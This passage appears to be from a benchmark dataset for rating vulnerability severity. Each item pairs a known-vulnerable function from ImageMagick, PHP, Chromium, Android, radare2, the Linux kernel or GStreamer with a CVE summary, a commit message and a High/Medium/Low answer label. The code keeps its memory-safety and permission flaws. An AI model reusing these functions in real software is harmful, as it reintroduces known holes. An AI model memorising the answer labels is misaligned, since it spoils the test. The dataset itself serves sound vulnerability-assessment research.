if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,3,5);
if (status == MagickFalse)
break;
}
if (image->matte != MagickFalse)
{
(void) CloseBlob(image);
AppendImageFormat("A",image->filename);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
canvas_image=DestroyImageList(canvas_image);
image=DestroyImageList(image);
return((Image *) NULL);
}
length=GetQuantumExtent(canvas_image,quantum_info,AlphaQuantum);
for (i=0; i < (ssize_t) scene; i++)
for (y=0; y < (ssize_t) image->extract_info.height; y++)
if (ReadBlob(image,length,pixels) != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
count=ReadBlob(image,length,pixels);
for (y=0; y < (ssize_t) image->extract_info.height; y++)
{
register const PixelPacket
*restrict p;
register PixelPacket
*restrict q;
register ssize_t
x;
if (count != (ssize_t) length)
{
ThrowFileException(exception,CorruptImageError,
"UnexpectedEndOfFile",image->filename);
break;
}
q=GetAuthenticPixels(canvas_image,0,0,canvas_image->columns,1,
exception);
if (q == (PixelPacket *) NULL)
break;
length=ImportQuantumPixels(canvas_image,(CacheView *) NULL,
quantum_info,YellowQuantum,pixels,exception);
if (SyncAuthenticPixels(canvas_image,exception) == MagickFalse)
break;
if (((y-image->extract_info.y) >= 0) &&
((y-image->extract_info.y) < (ssize_t) image->rows))
{
p=GetVirtualPixels(canvas_image,canvas_image->extract_info.x,
0,canvas_image->columns,1,exception);
q=GetAuthenticPixels(image,0,y-image->extract_info.y,
image->columns,1,exception);
if ((p == (const PixelPacket *) NULL) ||
(q == (PixelPacket *) NULL))
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelOpacity(q,GetPixelOpacity(p));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
count=ReadBlob(image,length,pixels);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,4,5);
if (status == MagickFalse)
break;
}
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,5,5);
if (status == MagickFalse)
break;
}
break;
}
}
SetQuantumImageType(image,quantum_type);
/*
Proceed to next image.
*/
if (image_info->number_scenes != 0)
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
break;
if (count == (ssize_t) length)
{
/*
Allocate next image structure.
*/
AcquireNextImage(image_info,image);
if (GetNextImageInList(image) == (Image *) NULL)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
image=SyncNextImageInList(image);
status=SetImageProgress(image,LoadImagesTag,TellBlob(image),
GetBlobSize(image));
if (status == MagickFalse)
break;
}
scene++;
} while (count == (ssize_t) length);
quantum_info=DestroyQuantumInfo(quantum_info);
InheritException(&image->exception,&canvas_image->exception);
canvas_image=DestroyImage(canvas_image);
(void) CloseBlob(image);
return(GetFirstImageInList(image));
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: Buffer overflow in the ReadVIFFImage function in coders/viff.c in ImageMagick before 6.9.4-5 allows remote attackers to cause a denial of service (application crash) via a crafted file.
Commit Message: | Medium | 168,553 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int php_stream_temp_close(php_stream *stream, int close_handle TSRMLS_DC)
{
php_stream_temp_data *ts = (php_stream_temp_data*)stream->abstract;
int ret;
assert(ts != NULL);
if (ts->innerstream) {
ret = php_stream_free_enclosed(ts->innerstream, PHP_STREAM_FREE_CLOSE | (close_handle ? 0 : PHP_STREAM_FREE_PRESERVE_HANDLE));
} else {
ret = 0;
}
if (ts->meta) {
zval_ptr_dtor(&ts->meta);
}
efree(ts);
return ret;
}
Vulnerability Type:
CWE ID: CWE-20
Summary: In PHP before 5.5.32, 5.6.x before 5.6.18, and 7.x before 7.0.3, all of the return values of stream_get_meta_data can be controlled if the input can be controlled (e.g., during file uploads). For example, a "$uri = stream_get_meta_data(fopen($file, "r"))['uri']" call mishandles the case where $file is data:text/plain;uri=eviluri, -- in other words, metadata can be set by an attacker.
Commit Message: | Medium | 165,479 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void unregisterBlobURLTask(void* context)
{
OwnPtr<BlobRegistryContext> blobRegistryContext = adoptPtr(static_cast<BlobRegistryContext*>(context));
blobRegistry().unregisterBlobURL(blobRegistryContext->url);
}
Vulnerability Type: DoS
CWE ID:
Summary: Google Chrome before 23.0.1271.91 on Mac OS X does not properly mitigate improper rendering behavior in the Intel GPU driver, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors.
Commit Message: Remove BlobRegistry indirection since there is only one implementation.
BUG=
Review URL: https://chromiumcodereview.appspot.com/15851008
git-svn-id: svn://svn.chromium.org/blink/trunk@152746 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | High | 170,691 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: OMX_ERRORTYPE SoftAAC2::internalSetParameter(
OMX_INDEXTYPE index, const OMX_PTR params) {
switch ((int)index) {
case OMX_IndexParamStandardComponentRole:
{
const OMX_PARAM_COMPONENTROLETYPE *roleParams =
(const OMX_PARAM_COMPONENTROLETYPE *)params;
if (strncmp((const char *)roleParams->cRole,
"audio_decoder.aac",
OMX_MAX_STRINGNAME_SIZE - 1)) {
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
case OMX_IndexParamAudioAac:
{
const OMX_AUDIO_PARAM_AACPROFILETYPE *aacParams =
(const OMX_AUDIO_PARAM_AACPROFILETYPE *)params;
if (aacParams->nPortIndex != 0) {
return OMX_ErrorUndefined;
}
if (aacParams->eAACStreamFormat == OMX_AUDIO_AACStreamFormatMP4FF) {
mIsADTS = false;
} else if (aacParams->eAACStreamFormat
== OMX_AUDIO_AACStreamFormatMP4ADTS) {
mIsADTS = true;
} else {
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
case OMX_IndexParamAudioAndroidAacPresentation:
{
const OMX_AUDIO_PARAM_ANDROID_AACPRESENTATIONTYPE *aacPresParams =
(const OMX_AUDIO_PARAM_ANDROID_AACPRESENTATIONTYPE *)params;
if (aacPresParams->nMaxOutputChannels >= 0) {
int max;
if (aacPresParams->nMaxOutputChannels >= 8) { max = 8; }
else if (aacPresParams->nMaxOutputChannels >= 6) { max = 6; }
else if (aacPresParams->nMaxOutputChannels >= 2) { max = 2; }
else {
max = aacPresParams->nMaxOutputChannels;
}
ALOGV("set nMaxOutputChannels=%d", max);
aacDecoder_SetParam(mAACDecoder, AAC_PCM_MAX_OUTPUT_CHANNELS, max);
}
bool updateDrcWrapper = false;
if (aacPresParams->nDrcBoost >= 0) {
ALOGV("set nDrcBoost=%d", aacPresParams->nDrcBoost);
mDrcWrap.setParam(DRC_PRES_MODE_WRAP_DESIRED_BOOST_FACTOR,
aacPresParams->nDrcBoost);
updateDrcWrapper = true;
}
if (aacPresParams->nDrcCut >= 0) {
ALOGV("set nDrcCut=%d", aacPresParams->nDrcCut);
mDrcWrap.setParam(DRC_PRES_MODE_WRAP_DESIRED_ATT_FACTOR, aacPresParams->nDrcCut);
updateDrcWrapper = true;
}
if (aacPresParams->nHeavyCompression >= 0) {
ALOGV("set nHeavyCompression=%d", aacPresParams->nHeavyCompression);
mDrcWrap.setParam(DRC_PRES_MODE_WRAP_DESIRED_HEAVY,
aacPresParams->nHeavyCompression);
updateDrcWrapper = true;
}
if (aacPresParams->nTargetReferenceLevel >= 0) {
ALOGV("set nTargetReferenceLevel=%d", aacPresParams->nTargetReferenceLevel);
mDrcWrap.setParam(DRC_PRES_MODE_WRAP_DESIRED_TARGET,
aacPresParams->nTargetReferenceLevel);
updateDrcWrapper = true;
}
if (aacPresParams->nEncodedTargetLevel >= 0) {
ALOGV("set nEncodedTargetLevel=%d", aacPresParams->nEncodedTargetLevel);
mDrcWrap.setParam(DRC_PRES_MODE_WRAP_ENCODER_TARGET,
aacPresParams->nEncodedTargetLevel);
updateDrcWrapper = true;
}
if (aacPresParams->nPCMLimiterEnable >= 0) {
aacDecoder_SetParam(mAACDecoder, AAC_PCM_LIMITER_ENABLE,
(aacPresParams->nPCMLimiterEnable != 0));
}
if (updateDrcWrapper) {
mDrcWrap.update();
}
return OMX_ErrorNone;
}
case OMX_IndexParamAudioPcm:
{
const OMX_AUDIO_PARAM_PCMMODETYPE *pcmParams =
(OMX_AUDIO_PARAM_PCMMODETYPE *)params;
if (pcmParams->nPortIndex != 1) {
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
default:
return SimpleSoftOMXComponent::internalSetParameter(index, params);
}
}
Vulnerability Type: Overflow +Priv
CWE ID: CWE-119
Summary: mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-06-01 does not validate OMX buffer sizes, which allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 27207275.
Commit Message: DO NOT MERGE Verify OMX buffer sizes prior to access
Bug: 27207275
Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
| High | 174,187 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int _6502_op(RAnal *anal, RAnalOp *op, ut64 addr, const ut8 *data, int len) {
char addrbuf[64];
const int buffsize = sizeof (addrbuf) - 1;
memset (op, '\0', sizeof (RAnalOp));
op->size = snes_op_get_size (1, 1, &snes_op[data[0]]); //snes-arch is similiar to nes/6502
op->addr = addr;
op->type = R_ANAL_OP_TYPE_UNK;
op->id = data[0];
r_strbuf_init (&op->esil);
switch (data[0]) {
case 0x02:
case 0x03:
case 0x04:
case 0x07:
case 0x0b:
case 0x0c:
case 0x0f:
case 0x12:
case 0x13:
case 0x14:
case 0x17:
case 0x1a:
case 0x1b:
case 0x1c:
case 0x1f:
case 0x22:
case 0x23:
case 0x27:
case 0x2b:
case 0x2f:
case 0x32:
case 0x33:
case 0x34:
case 0x37:
case 0x3a:
case 0x3b:
case 0x3c:
case 0x3f:
case 0x42:
case 0x43:
case 0x44:
case 0x47:
case 0x4b:
case 0x4f:
case 0x52:
case 0x53:
case 0x54:
case 0x57:
case 0x5a:
case 0x5b:
case 0x5c:
case 0x5f:
case 0x62:
case 0x63:
case 0x64:
case 0x67:
case 0x6b:
case 0x6f:
case 0x72:
case 0x73:
case 0x74:
case 0x77:
case 0x7a:
case 0x7b:
case 0x7c:
case 0x7f:
case 0x80:
case 0x82:
case 0x83:
case 0x87:
case 0x89:
case 0x8b:
case 0x8f:
case 0x92:
case 0x93:
case 0x97:
case 0x9b:
case 0x9c:
case 0x9e:
case 0x9f:
case 0xa3:
case 0xa7:
case 0xab:
case 0xaf:
case 0xb2:
case 0xb3:
case 0xb7:
case 0xbb:
case 0xbf:
case 0xc2:
case 0xc3:
case 0xc7:
case 0xcb:
case 0xcf:
case 0xd2:
case 0xd3:
case 0xd4:
case 0xd7:
case 0xda:
case 0xdb:
case 0xdc:
case 0xdf:
case 0xe2:
case 0xe3:
case 0xe7:
case 0xeb:
case 0xef:
case 0xf2:
case 0xf3:
case 0xf4:
case 0xf7:
case 0xfa:
case 0xfb:
case 0xfc:
case 0xff:
op->size = 1;
op->type = R_ANAL_OP_TYPE_ILL;
break;
case 0x00: // brk
op->cycles = 7;
op->type = R_ANAL_OP_TYPE_SWI;
op->size = 1;
r_strbuf_set (&op->esil, ",1,I,=,0,D,=,flags,0x10,|,0x100,sp,+,=[1],pc,1,+,0xfe,sp,+,=[2],3,sp,-=,0xfffe,[2],pc,=");
break;
case 0x78: // sei
case 0x58: // cli
case 0x38: // sec
case 0x18: // clc
case 0xf8: // sed
case 0xd8: // cld
case 0xb8: // clv
op->cycles = 2;
op->type = R_ANAL_OP_TYPE_NOP;
_6502_anal_esil_flags (op, data[0]);
break;
case 0x24: // bit $ff
case 0x2c: // bit $ffff
op->type = R_ANAL_OP_TYPE_MOV;
_6502_anal_esil_get_addr_pattern3 (op, data, addrbuf, buffsize, 0);
r_strbuf_setf (&op->esil, "a,%s,[1],&,0x80,&,!,!,N,=,a,%s,[1],&,0x40,&,!,!,V,=,a,%s,[1],&,0xff,&,!,Z,=",addrbuf, addrbuf, addrbuf);
break;
case 0x69: // adc #$ff
case 0x65: // adc $ff
case 0x75: // adc $ff,x
case 0x6d: // adc $ffff
case 0x7d: // adc $ffff,x
case 0x79: // adc $ffff,y
case 0x61: // adc ($ff,x)
case 0x71: // adc ($ff,y)
op->type = R_ANAL_OP_TYPE_ADD;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
if (data[0] == 0x69) // immediate mode
r_strbuf_setf (&op->esil, "%s,a,+=,C,NUM,$c7,C,=,a,+=,$c7,C,|=", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],a,+=,C,NUM,$c7,C,=,a,+=,$c7,C,|=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
r_strbuf_append (&op->esil, ",a,a,=,$z,Z,=");
break;
case 0xe9: // sbc #$ff
case 0xe5: // sbc $ff
case 0xf5: // sbc $ff,x
case 0xed: // sbc $ffff
case 0xfd: // sbc $ffff,x
case 0xf9: // sbc $ffff,y
case 0xe1: // sbc ($ff,x)
case 0xf1: // sbc ($ff,y)
op->type = R_ANAL_OP_TYPE_SUB;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
if (data[0] == 0xe9) // immediate mode
r_strbuf_setf (&op->esil, "C,!,%s,+,a,-=", addrbuf);
else r_strbuf_setf (&op->esil, "C,!,%s,[1],+,a,-=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_BNZ);
r_strbuf_append (&op->esil, ",a,a,=,$z,Z,=,C,!=");
break;
case 0x09: // ora #$ff
case 0x05: // ora $ff
case 0x15: // ora $ff,x
case 0x0d: // ora $ffff
case 0x1d: // ora $ffff,x
case 0x19: // ora $ffff,y
case 0x01: // ora ($ff,x)
case 0x11: // ora ($ff),y
op->type = R_ANAL_OP_TYPE_OR;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
if (data[0] == 0x09) // immediate mode
r_strbuf_setf (&op->esil, "%s,a,|=", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],a,|=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0x29: // and #$ff
case 0x25: // and $ff
case 0x35: // and $ff,x
case 0x2d: // and $ffff
case 0x3d: // and $ffff,x
case 0x39: // and $ffff,y
case 0x21: // and ($ff,x)
case 0x31: // and ($ff),y
op->type = R_ANAL_OP_TYPE_AND;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
if (data[0] == 0x29) // immediate mode
r_strbuf_setf (&op->esil, "%s,a,&=", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],a,&=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0x49: // eor #$ff
case 0x45: // eor $ff
case 0x55: // eor $ff,x
case 0x4d: // eor $ffff
case 0x5d: // eor $ffff,x
case 0x59: // eor $ffff,y
case 0x41: // eor ($ff,x)
case 0x51: // eor ($ff),y
op->type = R_ANAL_OP_TYPE_XOR;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
if (data[0] == 0x49) // immediate mode
r_strbuf_setf (&op->esil, "%s,a,^=", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],a,^=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0x0a: // asl a
case 0x06: // asl $ff
case 0x16: // asl $ff,x
case 0x0e: // asl $ffff
case 0x1e: // asl $ffff,x
op->type = R_ANAL_OP_TYPE_SHL;
if (data[0] == 0x0a) {
r_strbuf_set (&op->esil, "1,a,<<=,$c7,C,=,a,a,=");
} else {
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'x');
r_strbuf_setf (&op->esil, "1,%s,[1],<<,%s,=[1],$c7,C,=", addrbuf, addrbuf);
}
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0x4a: // lsr a
case 0x46: // lsr $ff
case 0x56: // lsr $ff,x
case 0x4e: // lsr $ffff
case 0x5e: // lsr $ffff,x
op->type = R_ANAL_OP_TYPE_SHR;
if (data[0] == 0x4a) {
r_strbuf_set (&op->esil, "1,a,&,C,=,1,a,>>=");
} else {
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'x');
r_strbuf_setf (&op->esil, "1,%s,[1],&,C,=,1,%s,[1],>>,%s,=[1]", addrbuf, addrbuf, addrbuf);
}
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0x2a: // rol a
case 0x26: // rol $ff
case 0x36: // rol $ff,x
case 0x2e: // rol $ffff
case 0x3e: // rol $ffff,x
op->type = R_ANAL_OP_TYPE_ROL;
if (data[0] == 0x2a) {
r_strbuf_set (&op->esil, "1,a,<<,C,|,a,=,$c7,C,=,a,a,=");
} else {
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'x');
r_strbuf_setf (&op->esil, "1,%s,[1],<<,C,|,%s,=[1],$c7,C,=", addrbuf, addrbuf);
}
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0x6a: // ror a
case 0x66: // ror $ff
case 0x76: // ror $ff,x
case 0x6e: // ror $ffff
case 0x7e: // ror $ffff,x
op->type = R_ANAL_OP_TYPE_ROR;
if (data[0] == 0x6a) {
r_strbuf_set (&op->esil, "C,N,=,1,a,&,C,=,1,a,>>,7,N,<<,|,a,=");
} else {
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'x');
r_strbuf_setf (&op->esil, "C,N,=,1,%s,[1],&,C,=,1,%s,[1],>>,7,N,<<,|,%s,=[1]", addrbuf, addrbuf, addrbuf);
}
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0xe6: // inc $ff
case 0xf6: // inc $ff,x
case 0xee: // inc $ffff
case 0xfe: // inc $ffff,x
op->type = R_ANAL_OP_TYPE_STORE;
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'x');
r_strbuf_setf (&op->esil, "%s,++=[1]", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0xc6: // dec $ff
case 0xd6: // dec $ff,x
case 0xce: // dec $ffff
case 0xde: // dec $ffff,x
op->type = R_ANAL_OP_TYPE_STORE;
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'x');
r_strbuf_setf (&op->esil, "%s,--=[1]", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0xe8: // inx
case 0xc8: // iny
op->cycles = 2;
op->type = R_ANAL_OP_TYPE_STORE;
_6502_anal_esil_inc_reg (op, data[0], "+");
break;
case 0xca: // dex
case 0x88: // dey
op->cycles = 2;
op->type = R_ANAL_OP_TYPE_STORE;
_6502_anal_esil_inc_reg (op, data[0], "-");
break;
case 0xc9: // cmp #$ff
case 0xc5: // cmp $ff
case 0xd5: // cmp $ff,x
case 0xcd: // cmp $ffff
case 0xdd: // cmp $ffff,x
case 0xd9: // cmp $ffff,y
case 0xc1: // cmp ($ff,x)
case 0xd1: // cmp ($ff),y
op->type = R_ANAL_OP_TYPE_CMP;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
if (data[0] == 0xc9) // immediate mode
r_strbuf_setf (&op->esil, "%s,a,==", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],a,==", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_BNZ);
r_strbuf_append (&op->esil, ",C,!,C,=");
break;
case 0xe0: // cpx #$ff
case 0xe4: // cpx $ff
case 0xec: // cpx $ffff
op->type = R_ANAL_OP_TYPE_CMP;
_6502_anal_esil_get_addr_pattern3 (op, data, addrbuf, buffsize, 0);
if (data[0] == 0xe0) // immediate mode
r_strbuf_setf (&op->esil, "%s,x,==", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],x,==", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_BNZ);
r_strbuf_append (&op->esil, ",C,!,C,=");
break;
case 0xc0: // cpy #$ff
case 0xc4: // cpy $ff
case 0xcc: // cpy $ffff
op->type = R_ANAL_OP_TYPE_CMP;
_6502_anal_esil_get_addr_pattern3 (op, data, addrbuf, buffsize, 0);
if (data[0] == 0xc0) // immediate mode
r_strbuf_setf (&op->esil, "%s,y,==", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],y,==", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_BNZ);
r_strbuf_append (&op->esil, ",C,!,C,=");
break;
case 0x10: // bpl $ffff
case 0x30: // bmi $ffff
case 0x50: // bvc $ffff
case 0x70: // bvs $ffff
case 0x90: // bcc $ffff
case 0xb0: // bcs $ffff
case 0xd0: // bne $ffff
case 0xf0: // beq $ffff
op->cycles = 2;
op->failcycles = 3;
op->type = R_ANAL_OP_TYPE_CJMP;
if (data[1] <= 127)
op->jump = addr + data[1] + op->size;
else op->jump = addr - (256 - data[1]) + op->size;
op->fail = addr + op->size;
_6502_anal_esil_ccall (op, data[0]);
break;
case 0x20: // jsr $ffff
op->cycles = 6;
op->type = R_ANAL_OP_TYPE_CALL;
op->jump = data[1] | data[2] << 8;
op->stackop = R_ANAL_STACK_INC;
op->stackptr = 2;
r_strbuf_setf (&op->esil, "1,pc,-,0xff,sp,+,=[2],0x%04x,pc,=,2,sp,-=", op->jump);
break;
case 0x4c: // jmp $ffff
op->cycles = 3;
op->type = R_ANAL_OP_TYPE_JMP;
op->jump = data[1] | data[2] << 8;
r_strbuf_setf (&op->esil, "0x%04x,pc,=", op->jump);
break;
case 0x6c: // jmp ($ffff)
op->cycles = 5;
op->type = R_ANAL_OP_TYPE_UJMP;
r_strbuf_setf (&op->esil, "0x%04x,[2],pc,=", data[1] | data[2] << 8);
break;
case 0x60: // rts
op->eob = true;
op->type = R_ANAL_OP_TYPE_RET;
op->cycles = 6;
op->stackop = R_ANAL_STACK_INC;
op->stackptr = -2;
r_strbuf_set (&op->esil, "0x101,sp,+,[2],pc,=,pc,++=,2,sp,+=");
break;
case 0x40: // rti
op->eob = true;
op->type = R_ANAL_OP_TYPE_RET;
op->cycles = 6;
op->stackop = R_ANAL_STACK_INC;
op->stackptr = -3;
r_strbuf_set (&op->esil, "0x101,sp,+,[1],flags,=,0x102,sp,+,[2],pc,=,3,sp,+=");
break;
case 0xea: // nop
op->type = R_ANAL_OP_TYPE_NOP;
op->cycles = 2;
break;
case 0xa9: // lda #$ff
case 0xa5: // lda $ff
case 0xb5: // lda $ff,x
case 0xad: // lda $ffff
case 0xbd: // lda $ffff,x
case 0xb9: // lda $ffff,y
case 0xa1: // lda ($ff,x)
case 0xb1: // lda ($ff),y
op->type = R_ANAL_OP_TYPE_LOAD;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
if (data[0] == 0xa9) // immediate mode
r_strbuf_setf (&op->esil, "%s,a,=", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],a,=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0xa2: // ldx #$ff
case 0xa6: // ldx $ff
case 0xb6: // ldx $ff,y
case 0xae: // ldx $ffff
case 0xbe: // ldx $ffff,y
op->type = R_ANAL_OP_TYPE_LOAD;
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'y');
if (data[0] == 0xa2) // immediate mode
r_strbuf_setf (&op->esil, "%s,x,=", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],x,=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0xa0: // ldy #$ff
case 0xa4: // ldy $ff
case 0xb4: // ldy $ff,x
case 0xac: // ldy $ffff
case 0xbc: // ldy $ffff,x
op->type = R_ANAL_OP_TYPE_LOAD;
_6502_anal_esil_get_addr_pattern3 (op, data, addrbuf, buffsize, 'x');
if (data[0] == 0xa0) // immediate mode
r_strbuf_setf (&op->esil, "%s,y,=", addrbuf);
else r_strbuf_setf (&op->esil, "%s,[1],y,=", addrbuf);
_6502_anal_update_flags (op, _6502_FLAGS_NZ);
break;
case 0x85: // sta $ff
case 0x95: // sta $ff,x
case 0x8d: // sta $ffff
case 0x9d: // sta $ffff,x
case 0x99: // sta $ffff,y
case 0x81: // sta ($ff,x)
case 0x91: // sta ($ff),y
op->type = R_ANAL_OP_TYPE_STORE;
_6502_anal_esil_get_addr_pattern1 (op, data, addrbuf, buffsize);
r_strbuf_setf (&op->esil, "a,%s,=[1]", addrbuf);
break;
case 0x86: // stx $ff
case 0x96: // stx $ff,y
case 0x8e: // stx $ffff
op->type = R_ANAL_OP_TYPE_STORE;
_6502_anal_esil_get_addr_pattern2 (op, data, addrbuf, buffsize, 'y');
r_strbuf_setf (&op->esil, "x,%s,=[1]", addrbuf);
break;
case 0x84: // sty $ff
case 0x94: // sty $ff,x
case 0x8c: // sty $ffff
op->type = R_ANAL_OP_TYPE_STORE;
_6502_anal_esil_get_addr_pattern3 (op, data, addrbuf, buffsize, 'x');
r_strbuf_setf (&op->esil, "y,%s,=[1]", addrbuf);
break;
case 0x08: // php
case 0x48: // pha
op->type = R_ANAL_OP_TYPE_PUSH;
op->cycles = 3;
op->stackop = R_ANAL_STACK_INC;
op->stackptr = 1;
_6502_anal_esil_push (op, data[0]);
break;
case 0x28: // plp
case 0x68: // plp
op->type = R_ANAL_OP_TYPE_POP;
op->cycles = 4;
op->stackop = R_ANAL_STACK_INC;
op->stackptr = -1;
_6502_anal_esil_pop (op, data[0]);
break;
case 0xaa: // tax
case 0x8a: // txa
case 0xa8: // tay
case 0x98: // tya
op->type = R_ANAL_OP_TYPE_MOV;
op->cycles = 2;
_6502_anal_esil_mov (op, data[0]);
break;
case 0x9a: // txs
op->type = R_ANAL_OP_TYPE_MOV;
op->cycles = 2;
op->stackop = R_ANAL_STACK_SET;
_6502_anal_esil_mov (op, data[0]);
break;
case 0xba: // tsx
op->type = R_ANAL_OP_TYPE_MOV;
op->cycles = 2;
op->stackop = R_ANAL_STACK_GET;
_6502_anal_esil_mov (op, data[0]);
break;
}
return op->size;
}
Vulnerability Type:
CWE ID: CWE-125
Summary: There is a heap out of bounds read in radare2 2.6.0 in _6502_op() in libr/anal/p/anal_6502.c via a crafted iNES ROM binary file.
Commit Message: Fix #10294 - crash in r2_hoobr__6502_op | Medium | 169,197 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void *arm_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
gfp_t gfp, struct dma_attrs *attrs)
{
pgprot_t prot = __get_dma_pgprot(attrs, pgprot_kernel);
void *memory;
if (dma_alloc_from_coherent(dev, size, handle, &memory))
return memory;
return __dma_alloc(dev, size, handle, gfp, prot, false,
__builtin_return_address(0));
}
Vulnerability Type: +Priv
CWE ID: CWE-264
Summary: arch/arm/mm/dma-mapping.c in the Linux kernel before 3.13 on ARM platforms, as used in Android before 2016-08-05 on Nexus 5 and 7 (2013) devices, does not prevent executable DMA mappings, which might allow local users to gain privileges via a crafted application, aka Android internal bug 28803642 and Qualcomm internal bug CR642735.
Commit Message: ARM: dma-mapping: don't allow DMA mappings to be marked executable
DMA mapping permissions were being derived from pgprot_kernel directly
without using PAGE_KERNEL. This causes them to be marked with executable
permission, which is not what we want. Fix this.
Signed-off-by: Russell King <[email protected]> | High | 167,578 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: flx_set_palette_vector (FlxColorSpaceConverter * flxpal, guint start, guint num,
guchar * newpal, gint scale)
{
guint grab;
g_return_if_fail (flxpal != NULL);
g_return_if_fail (start < 0x100);
grab = ((start + num) > 0x100 ? 0x100 - start : num);
if (scale) {
gint i = 0;
start *= 3;
while (grab) {
flxpal->palvec[start++] = newpal[i++] << scale;
flxpal->palvec[start++] = newpal[i++] << scale;
flxpal->palvec[start++] = newpal[i++] << scale;
grab--;
}
} else {
memcpy (&flxpal->palvec[start * 3], newpal, grab * 3);
}
}
Vulnerability Type: DoS
CWE ID: CWE-125
Summary: The flx_decode_chunks function in gst/flx/gstflxdec.c in GStreamer before 1.10.2 allows remote attackers to cause a denial of service (invalid memory read and crash) via a crafted FLIC file.
Commit Message: | Medium | 165,245 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: AcceleratedStaticBitmapImage::AcceleratedStaticBitmapImage(
sk_sp<SkImage> image,
base::WeakPtr<WebGraphicsContext3DProviderWrapper>&&
context_provider_wrapper)
: paint_image_content_id_(cc::PaintImage::GetNextContentId()) {
